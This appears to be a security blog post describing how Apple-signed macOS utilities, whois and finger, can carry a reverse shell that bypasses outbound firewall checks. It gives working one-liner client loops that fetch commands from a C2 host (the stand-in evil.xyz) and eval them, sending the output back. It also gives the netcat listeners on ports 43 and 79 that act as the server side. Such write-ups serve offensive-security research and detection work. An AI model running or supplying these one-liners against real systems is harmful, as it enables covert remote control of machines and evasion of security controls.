Using Whois and Finger for Reverse Shells
Introduction
In the presentation Fire & Ice: Making and Breaking macOS Firewalls,
Patrick Wardle mentioned the idea of using binaries signed by Apple
to by-pass firewall checks for outbound traffic. As an example, he mentioned
whois
. I thought it would be interesting to throw together a one-liner reverse
shell that uses whois
to do the socket handling. In addition to whois
, what
other system utilities can be used.
The Whois protocol
The whois protocol is very simple TCP-based query/response protocol. Everything is sent as plain-text and by default, port 43 is used. An example request is shown below:
client server at whois.nic.mil
open TCP ---- (SYN) ------------------------------>
<---- (SYN+ACK) --------------------------
send query ---- "Smith<CR><LF>" -------------------->
get answer <---- "Info about Smith<CR><LF>" ---------
<---- "More info about Smith<CR><LF>" ----
close <---- (FIN) ------------------------------
----- (FIN) ---------------------------->
The client sends a query to the server. The query ends with a \r\n
. The server
sends the response back to the client. The response can contain multiple lines
that are indicated with the line ending characters \r\n
. The server signals to
the client of the end of the response by closing the socket.
macOS’s Whois binary
The whois binary on macOS is signed by Apple, so it might be possible to use the binary to by-pass whitelisting restrictions.
$ codesign -dvvvv /usr/bin/whois
Executable=/usr/bin/whois
Identifier=com.apple.whois
Format=Mach-O thin (x86_64)
CodeDirectory v=20100 size=256 flags=0x0(none) hashes=4+2 location=embedded
Platform identifier=4
VersionPlatform=1
VersionMin=658688
VersionSDK=658688
Hash type=sha256 size=32
CandidateCDHash sha256=2e6eb62ebb7a0491befa818c211f30d76967e44e
Hash choices=sha256
Page size=4096
CDHash=2e6eb62ebb7a0491befa818c211f30d76967e44e
Signature size=4485
Authority=Software Signing
Authority=Apple Code Signing Certification Authority
Authority=Apple Root CA
Info.plist=not bound
TeamIdentifier=not set
Sealed Resources=none
Internal requirements count=1 size=64
Reverse shell using whois
Client
Due to restrictions with the protocol, we can’t open a bidirectional stream.
Instead, we need to capture the data in a variable so we have access to it
when we invoke whois
. The idea is as follow:
- Send a request to the server.
- Evaluate the command received by the server.
- Capture the input so we can send it to the server via another whois request.
We also have to ensure some data is always sent to the server when whois
is
invoked. Otherwise, an error is returned.
Putting it all together you get the following line to connect to a C2 server
listing at evil.xyz
:
export X=Connected; while true; do X=`eval $(whois -h evil.xyz -- "Output: $X")`; sleep 1; done
Server
On the server-side we can just use netcat as a POC implementation:
while true; do nc -l 43; done
Netcat runs in a while loop because we need to close the socket to signal
the end of each command. Once a client has connected, type a command followed
by pressing enter
and Ctrl+d
to close STDIN
. When STDIN
is closed,
netcat closes the socket and exits.
Use finger instead of whois
A default install of macOS also includes finger
what can be used to send
and receive data from a server.
The finger protocol
For our purpose, the finger protocol is very similar to the whois protocol. It’s query based over TCP. It uses port 79 by default.
Reverse shell using finger
Client
We can use the similar structure as the client line for whois. The finger
implementation for macOS prints some status messages to STDOUT
so some
grep/sed is needed to filter out the command sent from the server.
Client line for connecting to a C2 located at evil.xyz
:
export X=Connected; while true; do X=`eval $(finger "$X"@evil.xyz 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done
Server
The server is similar to the whois
server:
while true; do nc -l 79; done
When sending a command to the client, we need to indicate where it starts
and where it ends. The client line above expecting the command line to
start with !
. The end of the command is signaled by closing the socket
by pressing Ctrl+d
. For example to list the temp directory, type !ls /tmp
followed by an enter press and Ctrl+d
.